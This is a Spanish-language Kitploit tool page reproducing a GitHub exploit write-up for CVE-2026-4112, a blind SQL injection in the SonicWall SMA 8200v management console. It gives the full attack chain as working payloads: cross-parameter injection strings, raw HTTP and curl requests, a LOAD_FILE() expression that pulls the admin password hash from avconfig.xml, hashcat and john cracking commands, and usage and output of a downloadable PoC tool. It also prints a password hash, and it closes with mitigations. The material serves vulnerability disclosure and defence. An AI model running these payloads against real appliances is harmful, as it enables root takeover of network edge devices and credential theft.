Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-4112 — Neutralización inadecuada de elementos especiales utilizados en un comando SQL (“Inyección SQL”) en los dispositivos de la serie SonicWall SMA1000 permite que un atacante remoto autenticado con privilegios de administrador de solo lectura escale privilegios hasta administrador principal. | Kitploit
Herramientas/GitHubGitHub/hann1bl3l3ct3r/cve-2026-4112
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubhann1bl3l3ct3r/cve-2026-4112

CVE-2026-4112

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Neutralización inadecuada de elementos especiales utilizados en un comando SQL (“Inyección SQL”) en los dispositivos de la serie SonicWall SMA1000 permite que un atacante remoto autenticado con privilegios de administrador de solo lectura escale privilegios hasta administrador principal.

123hace 5 mesesAún no revisado
Compartir

SonicWall SMA 8200v: Escalada de Privilegios mediante Inyección SQL Ciega entre Parámetros

Firmware: 12.5.0-02283 (Hotfix de Plataforma sobre la Base 12.5.0-02002)

Aviso de SonicWall


1. Resumen

Una vulnerabilidad de inyección SQL ciega posterior a la autenticación en la consola de gestión de SonicWall SMA 8200v (puerto 8443) permite que cualquier administrador autenticado — incluidos los administradores de solo lectura con privilegios bajos — extraiga el hash SHA-512 de la contraseña del administrador principal del archivo de configuración del dispositivo. Debido a que SonicWall utiliza la misma credencial tanto para el administrador de la consola de gestión como para la cuenta root del sistema operativo, descifrar este hash otorga acceso completo a nivel root al dispositivo.

Clasificación: Escalada de Privilegios (Administrador de bajo privilegio a Root) CVSS 3.1: 7.2 (Alta) — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Complejidad del Ataque: Baja (el PoC automatizado completa la extracción en ~60-90 minutos) Requisitos previos: Cualquier credencial válida de la consola de gestión (incluidas las cuentas de solo lectura)


2. Componentes Afectados


3. Detalles de la Vulnerabilidad

3.1 Causa Raíz: Saneamiento Incompleto de Entradas en safeParam()

La consola de gestión construye consultas SQL para el panel de Usuarios Activos mediante un método auxiliar safeParam() en la clase com.aventail.mgmt.sql.Sql. Este método escapa las comillas simples (') y las comillas dobles (") duplicándolas, pero no escapa los caracteres de barra invertida (\).

En MySQL/MariaDB, la barra invertida es el carácter de escape predeterminado dentro de los literales de cadena. La secuencia \' hace que la base de datos interprete la comilla simple como un carácter literal en lugar de un terminador de cadena. Esto significa que una barra invertida al final de un valor de parámetro escapará la comilla de cierre que la aplicación añade, provocando que el literal de cadena SQL se extienda hacia la sintaxis adyacente.

Brecha de saneamiento:``` Input: test
safeParam output: test\ (backslash NOT escaped) In SQL: ... rt.name='test') AND (ct.name='...' ^^ backslash escapes the closing quote

root@kitploit:~
El `'` de cierre después de `test\` se consume como un carácter de comilla literal dentro de la cadena, por lo que el literal de cadena SQL se extiende a través del límite `) AND (ct.name='` y hacia el valor del siguiente parámetro, donde se puede inyectar SQL controlado por el atacante.

### 3.2 Mecánica de Inyección: Técnica de Parámetros Cruzados

El endpoint `activeUsers.action` acepta múltiples parámetros de filtro que se interpolan en una única cláusula WHERE de SQL. Los parámetros relevantes son `realmFilter` y `communityFilter`, que aparecen en una consulta estructurada aproximadamente como:```sql
SELECT ... FROM ...
WHERE ...
  AND (rt.name='<realmFilter>')
  AND (ct.name='<communityFilter>')
  ...

Configuración de parámetros de ataque:

ParámetroValorPropósito
realmFiltertest\La barra invertida final escapa la comilla de cierre, extendiendo el literal de cadena a través del límite AND
communityFilter)) OR (SELECT IF(<condition>,SLEEP(N),0))-- x

SQL resultante después de la interpolación:```sql WHERE ... AND (rt.name='test') AND (ct.name=' )) OR (SELECT IF(,SLEEP(N),0))-- x')

root@kitploit:~
Desglosando esto:

1. `rt.name='test\')` — la `\` escapa la `'`, por lo que la cadena no se cierra aquí
2. `AND (ct.name='` — se convierte en parte del valor de la cadena (texto literal)
3. La cadena finalmente se cierra en la siguiente `'` (del inicio de `communityFilter`)
4. `))` — cierra los dos paréntesis abiertos de la estructura de la cláusula WHERE
5. `OR (SELECT IF(...))` — inyecta la condición de inyección SQL ciega
6. `-- x` — comenta el SQL restante (`')` y otras cláusulas)

### 3.3 Extracción ciega basada en tiempo

Dado que el manejo de errores de Struts 2 de la aplicación captura las excepciones SQL de forma elegante (siempre devolviendo HTTP 200 con el mismo contenido de página independientemente del éxito o fracaso de la consulta), los métodos de extracción basados en errores y en UNION no son viables. La inyección se explota mediante la técnica ciega basada en tiempo:

- **Condición VERDADERA:** `IF(<condición>, SLEEP(N), 0)` — la respuesta se retrasa por la duración de SLEEP multiplicada por el número de filas del conjunto de resultados
- **Condición FALSA:** Sin SLEEP — la respuesta regresa en ~200-500ms

La función SLEEP se ejecuta por fila en la evaluación de la cláusula WHERE. Con una tabla de monitoreo típica que contiene 30-300+ filas, incluso un valor SLEEP pequeño (p. ej., 0.3s) produce un retraso claramente distinguible (10-100s para VERDADERO vs. <1s para FALSO).

Cada carácter de los datos objetivo se extrae mediante búsqueda binaria sobre el rango ASCII:```sql
ORD(SUBSTRING((<extraction_expr>), <position>, 1)) > <midpoint>

Esto requiere un máximo de 7 solicitudes por carácter (log2(128) = 7), lo que da un total de ~686 solicitudes para un hash SHA-512 de 98 caracteres.


4. Cadena de Explotación

4.1 Resumen```

root@kitploit:~
                     PRIVILEGE ESCALATION CHAIN

============================================================================

[1] Authenticate Low-privilege admin (e.g., "readonly") | authenticates to management console on port 8443 | using "Local Authentication" realm v [2] SQL Injection Cross-parameter blind SQLi via activeUsers.action | realmFilter backslash + communityFilter payload | Condition: IF(, SLEEP(N), 0) v [3] LOAD_FILE() MariaDB DbAdmin user has FILE privilege | secure_file_priv=NULL does NOT block reads | avconfig.xml is group-readable (mode 664) v [4] Locate Hash LOCATE('consoleMode', file) anchors to admin section | LOCATE('', file, anchor) finds hash element | SUBSTRING + SUBSTRING_INDEX extracts hash value v [5] Extract Hash Binary search extracts hash char-by-char | ~98 chars * ~7 requests = ~686 requests | Output: $6$$ (SHA-512 crypt) v [6] Crack Hash hashcat -m 1800 / john --format=sha512crypt | Admin password = Root SSH password (by design) v [7] Full Compromise SSH as root, management console as admin Complete appliance takeover

root@kitploit:~
### 4.2 Paso 1: Autenticación

La consola de gestión SMA admite dos dominios de autenticación:

| ID de dominio | Nombre mostrado | Usuarios |
|----------|-------------|-------|
| *(vacío)* | Consola de gestión | Solo cuenta de administrador principal |
| `AMCAuthRealm` / `Autenticación local` | Autenticación local | Cuentas de administrador secundarias (solo lectura, personalizadas) |

El ataque solo requiere una credencial válida para **cualquier** cuenta con acceso a la consola de gestión. La cuenta de "solo lectura" — diseñada para acceso exclusivo de monitoreo sin capacidad de cambio de configuración — es suficiente.

La autenticación se realiza mediante autenticación basada en formularios J2EE:

1. `GET /console.action` — recupera la página de inicio de sesión, extrae el token CSRF del campo oculto del formulario
2. `POST /j_security_check` — envía `csrfToken`, `j_username`, `j_password` y `realmId`
3. Redirección HTTP 303 en caso de éxito, se establece la cookie `JSESSIONID`

### 4.3 Paso 2: Inyección SQL

Después de la autenticación, el atacante envía una solicitud POST a `/activeUsers.action` con la inyección entre parámetros:```
POST /activeUsers.action HTTP/1.1
Host: <target>:8443
Cookie: JSESSIONID=<session>
Content-Type: application/x-www-form-urlencoded

realmFilter=test\&communityFilter=)) OR (SELECT IF(1=1,SLEEP(0.3),0))-- x&userNameFilter=&zoneFilter=&platformFilter=&agentFilter=&agentVersionFilter=&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter

El IF(1=1, SLEEP(0.3), 0) incondicional verifica que la inyección es funcional al observar un retraso medible en la respuesta HTTP.

4.4 Paso 3: Lectura arbitraria de archivos con LOAD_FILE()

La base de datos MariaDB se ejecuta bajo el usuario del sistema operativo DbAdmin (uid=1001, gid=500 aventail). Este usuario de base de datos posee ALL PRIVILEGES ON *.* WITH GRANT OPTION, incluido el privilegio FILE requerido para LOAD_FILE().

Un hallazgo crítico: a pesar de que la configuración de MariaDB establece secure_file_priv = NULL (lo que bloquea las operaciones de escritura INTO OUTFILE e INTO DUMPFILE), la función LOAD_FILE() para leer archivos sigue siendo totalmente operativa. Este es un comportamiento documentado pero poco comprendido de MariaDB: secure_file_priv=NULL restringe las rutas de escritura de archivos, pero no deshabilita la lectura de archivos cuando el usuario tiene el privilegio FILE.

El archivo de configuración objetivo /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml es propiedad de mgmt-server:aventail con permisos 664 (rw-rw-r--). Dado que el usuario del sistema operativo DbAdmin está en el grupo aventail, LOAD_FILE() puede leer este archivo.

Verificación mediante inyección SQL ciega:```sql -- Check file is readable (non-NULL) IF(LOAD_FILE(0x2f7573722f6c6f63616c2f...)...) IS NOT NULL, SLEEP(0.3), 0) -- TRUE: file is readable

root@kitploit:~
### 4.5 Paso 4: Localización del hash de administrador en avconfig.xml

El archivo `avconfig.xml` (~98KB) es el almacén de configuración principal del dispositivo. Contiene todas las credenciales de usuario en formato crypt SHA-512 dentro de elementos XML `<password>`. El hash principal de administrador se encuentra en un bloque `<credentials_item>` cerca de un elemento `<consoleMode>` que es exclusivo de la sección de administrador.

En lugar de depender de desplazamientos de bytes codificados (que se romperían si la configuración por encima de la sección de administrador cambia), la extracción utiliza funciones de cadena de MySQL para localizar dinámicamente el hash:```sql
SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE(<path>),
    LOCATE('<password>', LOAD_FILE(<path>),
      LOCATE('consoleMode', LOAD_FILE(<path>))
    ) + 10,                    -- skip past '<password>' tag (10 chars)
    120                        -- max SHA-512 crypt length
  ),
  '<',                         -- trim at '</password>' closing tag
  1
)

Lógica:

  1. LOCATE('consoleMode', file) — encuentra el desplazamiento de bytes de la cadena consoleMode, anclando a la sección de configuración de administración
  2. LOCATE('<password>', file, anchor_offset) — encuentra la primera etiqueta <password> después de ese ancla
  3. SUBSTRING(file, tag_offset + 10, 120) — extrae el valor del hash (omitiendo la etiqueta <password> de 10 caracteres)
  4. SUBSTRING_INDEX(result, '<', 1) — recorta en la etiqueta de cierre </password>

Este enfoque es independiente de la posición y resistente a cambios de configuración en otras partes del archivo. Toda la expresión se codifica usando literales hexadecimales de MySQL (0x...) para evitar problemas de comillas dentro del contexto de inyección.

4.6 Paso 5: Extracción de Hash Carácter por Carácter

Cada carácter del hash se extrae mediante búsqueda binaria:```sql -- Is character at position P greater than midpoint M? IF(ORD(SUBSTRING((<hash_expr>),

, 1)) > , SLEEP(0.3), 0)

root@kitploit:~
La búsqueda binaria reduce el rango ASCII [0, 127] a la mitad con cada solicitud:

| Paso | Rango | Prueba | Resultado |
|------|-------|--------|-----------|
| 1 | [0, 127] | > 63? | VERDADERO → [64, 127] |
| 2 | [64, 127] | > 95? | FALSO → [64, 95] |
| 3 | [64, 95] | > 79? | FALSO → [64, 79] |
| ... | ... | ... | ... |
| 7 | [n, n] | convergido | Carácter = chr(n) |

Para el hash de administrador conocido (`$6$WHTK8ybQ$MchVNW...`), la extracción de los 98 caracteres requiere aproximadamente 686 solicitudes HTTP.

### 4.7 Paso 6: Descifrado del Hash

El hash extraído está en formato estándar de cifrado SHA-512 crypt:```
$6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0
CampoValor
Algoritmo

Hashcat

hashcat -m 1800 -a 0 admin.hash /usr/share/wordlists/rockyou.txt -O

John the Ripper

john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt admin.hash

root@kitploit:~
### 4.8 Paso 7: Compromiso Total

La arquitectura de SonicWall SMA utiliza la contraseña de administrador de la consola de gestión como contraseña root del sistema operativo. Esta es una decisión de diseño: cuando la contraseña de administrador se establece o cambia a través de la consola de gestión, se aplica tanto a la interfaz web como a la cuenta root subyacente de Linux. Por lo tanto, descifrar el hash del administrador proporciona:

- **Consola de gestión (puerto 8443):** Acceso administrativo completo a toda la configuración, políticas, gestión de usuarios y monitoreo
- **SSH (puerto 22):** Acceso a shell root del sistema operativo Debian Linux subyacente
- **Consola serie:** Inicio de sesión root para acceso físico/fuera de banda

---

## 5. Factores Contribuyentes

Múltiples decisiones arquitectónicas se combinan para hacer explotable esta vulnerabilidad:

### 5.1 Saneamiento SQL Incompleto

El método `safeParam()` en `com.aventail.mgmt.sql.Sql` escapa las comillas pero no las barras invertidas. Esta es una clase bien conocida de inyección SQL: el comportamiento de escape de barras invertidas de MySQL ha sido documentado como una preocupación de seguridad desde principios de los años 2000. La solución es trivial: escapar las barras invertidas (`\` → `\\`), o establecer el modo SQL `NO_BACKSLASH_ESCAPES`, o usar consultas parametrizadas.

### 5.2 Usuario de Base de Datos con Privilegios Excesivos

El usuario `DbAdmin` de MariaDB se ejecuta con `ALL PRIVILEGES ON *.* WITH GRANT OPTION`. Esto otorga capacidades mucho más allá de lo que la aplicación requiere, incluyendo:

- Privilegio `FILE` (LOAD_FILE, INTO OUTFILE)
- Privilegio `SUPER`
- `GRANT OPTION` (puede crear nuevas cuentas de superusuario)

La aplicación solo necesita SELECT/INSERT/UPDATE/DELETE en sus propias bases de datos. Los privilegios excesivos transforman una inyección SQL de extracción de datos a lectura/escritura arbitraria de archivos.

### 5.3 Configuración Incorrecta de secure_file_priv

Mientras que `secure_file_priv = NULL` bloquea las operaciones de **escritura** de archivos (`INTO OUTFILE`, `INTO DUMPFILE`), **no** bloquea las operaciones de **lectura** de archivos (`LOAD_FILE()`). Este es un comportamiento documentado de MariaDB que con frecuencia se malinterpreta. Los administradores y desarrolladores a menudo asumen que `secure_file_priv = NULL` deshabilita toda E/S de archivos, pero solo restringe la ruta de escritura.

Para deshabilitar completamente `LOAD_FILE()`, el privilegio `FILE` debe revocarse del usuario de la base de datos:```sql
REVOKE FILE ON *.* FROM 'DbAdmin'@'localhost';

5.4 Permisos de Archivos de Configuración Sensibles

El archivo avconfig.xml que contiene todos los hashes de contraseñas es propiedad de mgmt-server:aventail con modo 664. El grupo aventail incluye al usuario del sistema operativo DbAdmin (bajo el cual se ejecuta MariaDB). Esto significa que el proceso de la base de datos puede leer el archivo de configuración principal del dispositivo, incluidos todos los credenciales almacenados.

Un modelo de permisos más restrictivo (por ejemplo, modo 600 propiedad de mgmt-server:mgmt-server, o almacenar los hashes en un archivo de secretos dedicado legible únicamente por la aplicación de gestión) impediría que LOAD_FILE() accediera a los hashes incluso con el privilegio FILE.

5.5 Credencial Compartida de Admin/Root

La decisión de diseño de usar la misma contraseña para el administrador de la consola de gestión y la cuenta root del sistema operativo significa que extraer el hash del administrador desde la capa de aplicación otorga directamente acceso root al sistema operativo. Esto elimina cualquier límite entre la capa de la aplicación web y el sistema operativo subyacente.

5.6 La Cuenta de Solo Lectura Tiene Acceso Completo a la Inyección SQL

El rol de "solo lectura" de la consola de gestión está diseñado para proporcionar acceso únicamente de monitoreo sin capacidad de cambiar la configuración. Sin embargo, el endpoint activeUsers.action procesa los parámetros de filtro de manera idéntica para todos los usuarios autenticados, independientemente del rol. La cuenta de solo lectura puede ejecutar la misma inyección SQL que el administrador principal, porque la vulnerabilidad está en la ruta de recuperación de datos (listado/filtrado de usuarios activos), no en una ruta de cambio de configuración.


6. Prueba de Concepto

6.1 Herramienta: sma_admin_hash_poc.py

Se desarrolló una herramienta de explotación totalmente automatizada y se validó contra el objetivo en vivo.

Uso (cuenta de solo lectura — demostrando escalada de privilegios):```bash python3 sma_admin_hash_poc.py
-t 10.10.185.35
--user readonly
--password <readonly_password>
--realm "Local Authentication"
-o admin.hash
-v

root@kitploit:~
**Fases de ejecución:**

1. **Fase 1: Autenticación** — Inicia sesión con las credenciales y el realm especificados, obtiene JSESSIONID
2. **Fase 2: Verificación** — Confirma que SQLi es funcional (tiempo de SLEEP), LOAD_FILE puede leer avconfig.xml y el ancla del hash de administrador está presente
3. **Fase 3: Extracción** — La búsqueda binaria extrae el hash SHA-512 completo carácter por carácter
4. **Fase 4: Salida** — Escribe el hash en formato listo para hashcat e imprime comandos de cracking

**Salida observada:**```
[*] Target: 10.10.10.35:8443
[*] User:   readonly
[*] Realm:  Local Authentication

[*] Phase 1: Authenticating to admin console...
[+] Authentication successful

[*] Phase 2: Verifying attack prerequisites...
[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered (16.7s)
[+] LOAD_FILE(avconfig.xml) - readable
[+] consoleMode anchor found in avconfig.xml
[+] Admin SHA-512 hash located in avconfig.xml

[*] Phase 3: Extracting admin password hash...
    Extracting admin hash: $6$WHTK8ybQ$MchVNWPdTps...

6.2 Verificación manual mediante curl

La inyección también se puede verificar manualmente sin la herramienta PoC:```bash

Authenticate and obtain session cookie

curl -sk -c cookies.txt
"https://:8443/console.action" | grep csrfToken

curl -sk -b cookies.txt -c cookies.txt
-d "csrfToken=&j_username=readonly&j_password=&realmId=Local+Authentication"
"https://:8443/j_security_check"

Baseline request (no injection) — expect ~200ms

time curl -sk -b cookies.txt
-d "realmFilter=test&communityFilter=test&sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

Injected request (SLEEP 5 via subquery) — expect 10+ seconds

time curl -sk -b cookies.txt
--data-urlencode "realmFilter=test\"
--data-urlencode "communityFilter=)) OR (SELECT 1 FROM (SELECT SLEEP(5)) AS t)-- x"
-d "sessionType=activeSessions&timePeriod=0&pageSize=25&command=filter"
"https://:8443/activeUsers.action" -o /dev/null -w "%{time_total}"

root@kitploit:~
### 6.3 Verificación directa de SQL mediante la CLI de MySQL

Con acceso SSH como root, la expresión de extracción de SQL se puede verificar directamente:```sql
-- Verify LOAD_FILE reads the config (returns file size)
SELECT LENGTH(LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'));
-- Result: 98248

-- Extract admin hash directly
SELECT SUBSTRING_INDEX(
  SUBSTRING(
    LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
    LOCATE('<password>',
      LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml'),
      LOCATE('consoleMode',
        LOAD_FILE('/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml')
      )
    ) + 10,
    120
  ),
  '<',
  1
) AS admin_hash;

-- Result: $6$WHTK8ybQ$MchVNWPdTpsP7oDyQSs1jW/.4ppR8/uzmvh06sbEPITNOO6JpeJdtEuD13yiHsF8ZvFdqaDkchMh.9O.e38Q/0

7. Evaluación de Impacto

7.1 Impacto Directo

ImpactoDescripción
ConfidencialidadAcceso de lectura completo a todos los archivos legibles por el grupo aventail, incluidos archivos de configuración, credenciales, certificados y claves

7.2 Escenarios de Ataque

Escenario 1: Amenaza Interna / Violación del Principio de Mínimo Privilegio Un administrador de solo lectura (analista de SOC, auditor, ingeniero junior) con acceso legítimo de monitoreo escala a administrador completo/root, eludiendo todos los controles de acceso basados en roles.

Escenario 2: Escalada por Compromiso de Credenciales Un atacante que obtiene cualquier credencial de la consola de administración (phishing, relleno de credenciales, contraseñas predeterminadas) puede escalar a root independientemente del nivel de privilegio previsto de la cuenta comprometida.

Escenario 3: Pivote de Red El acceso root al dispositivo SMA proporciona un punto de apoyo persistente en el borde de la red. El atacante puede interceptar el tráfico VPN, modificar el enrutamiento, acceder a segmentos de red internos y extraer todas las credenciales de usuarios VPN de la configuración.


8. Recomendaciones

8.1 Mitigaciones Inmediatas

  1. Consultas Parametrizadas: Reemplace la interpolación de cadenas en safeParam() con sentencias preparadas / consultas parametrizadas en toda la capa SQL de la consola de administración. Esto elimina la inyección independientemente del escape de caracteres.

  2. Revocar Privilegio FILE: Elimine el privilegio FILE del usuario de base de datos DbAdmin: ```sql REVOKE FILE ON . FROM 'DbAdmin'@'localhost'; FLUSH PRIVILEGES;

    root@kitploit:~
  3. Restringir privilegios de la base de datos: Aplique el principio de mínimo privilegio a DbAdmin — conceda únicamente SELECT, INSERT, UPDATE, DELETE sobre las bases de datos específicas que la aplicación requiere (monitoring, scheduler, troubleshooting).

  4. Restringir permisos de avconfig.xml: Cambie la propiedad y los permisos del archivo para evitar que el usuario de la base de datos lea la configuración: ```bash chown mgmt-server:mgmt-server /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml chmod 600 /usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml

    root@kitploit:~

8.2 Mejoras Arquitectónicas

  1. Separar credenciales de administrador y root: Desacoplar la contraseña de administrador de la consola de gestión de la contraseña root del sistema operativo. Utilizar credenciales distintas con mecanismos independientes de cambio/rotación.

  2. Acceso a endpoints basado en roles: Restringir el endpoint activeUsers.action (y todos los demás endpoints de consulta de datos) según el rol del usuario en la capa de aplicación, no solo a nivel de interfaz/menú.

  3. Endurecimiento del modo SQL: Establecer NO_BACKSLASH_ESCAPES en la configuración de MariaDB para deshabilitar la interpretación global de secuencias de escape con barra invertida: ```ini [mysqld] sql_mode = NO_BACKSLASH_ESCAPES,STRICT_TRANS_TABLES

    root@kitploit:~
  4. Separación del Almacenamiento de Hashes: Almacena los hashes de contraseñas en un archivo dedicado o tabla de base de datos que no sea accesible para el usuario general de la base de datos de la aplicación, en lugar de en el archivo principal de configuración XML.


9. Cronología


10. Referencias

  • Documentación de MariaDB LOAD_FILE: LOAD_FILE() requiere privilegio FILE; secure_file_priv restringe SELECT ... INTO pero no LOAD_FILE()
  • Comportamiento de escape con barra invertida en MySQL: cuando NO_BACKSLASH_ESCAPES no está establecido, \ se trata como carácter de escape en literales de cadena
  • Especificación de SHA-512 crypt: prefijo $6$, rondas configurables (5000 por defecto), salida de hash Base64 de 86 caracteres
  • Modo 1800 de Hashcat: sha512crypt ($6$)
  • Hoja de referencia de prevención de inyección SQL de OWASP: consultas parametrizadas como defensa principal
Descargar herramienta
ComponenteDetalles
PlataformaSonicWall SMA 8200v (dispositivo virtual)
Firmware12.5.0-02283 (confirmado); probablemente todos los 12.x
ServicioConsola de Gestión — Jetty + Struts 2 (puerto 8443)
EndpointPOST /activeUsers.action
Parámetros VulnerablesrealmFilter, communityFilter (entre parámetros)
Clase de Causa Raízcom.aventail.mgmt.sql.Sql.safeParam()
Base de DatosMariaDB 10.11.14, usuario DbAdmin (TODOS LOS PRIVILEGIOS + FILE)
Archivo Objetivo/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml
Cierra los paréntesis abiertos, inyecta SLEEP condicional, comenta el resto
$6$ — SHA-512 crypt
SalWHTK8ybQ
Rondas5000 (predeterminado, no especificado)
Modo Hashcat1800
Formato Johnsha512crypt
IntegridadTras el descifrado de hashes: el acceso completo a la consola de administración permite cambios arbitrarios de configuración, modificaciones de políticas y gestión de usuarios
DisponibilidadEl acceso root permite la interrupción del servicio, la destrucción de datos o el bloqueo permanente del dispositivo
FechaEvento
2026-02-24SQLi entre parámetros identificado mediante análisis estático de safeParam()
2026-02-24SQLi ciego confirmado con sesión de administrador (tiempo de SLEEP)
2026-02-25SQLi confirmado con cuenta de solo lectura (vector de escalada de privilegios)
2026-02-25LOAD_FILE() confirmado operativo a pesar de secure_file_priv=NULL
2026-02-25avconfig.xml identificado como almacén de credenciales con hash de admin/root
2026-02-25Expresión de extracción SQL validada mediante CLI de MySQL
2026-02-25Extracción automatizada completa confirmada con herramienta PoC (sma_admin_hash_poc.py)
2026-02-25Cadena de escalada de privilegios validada: solo lectura -> hash de admin/root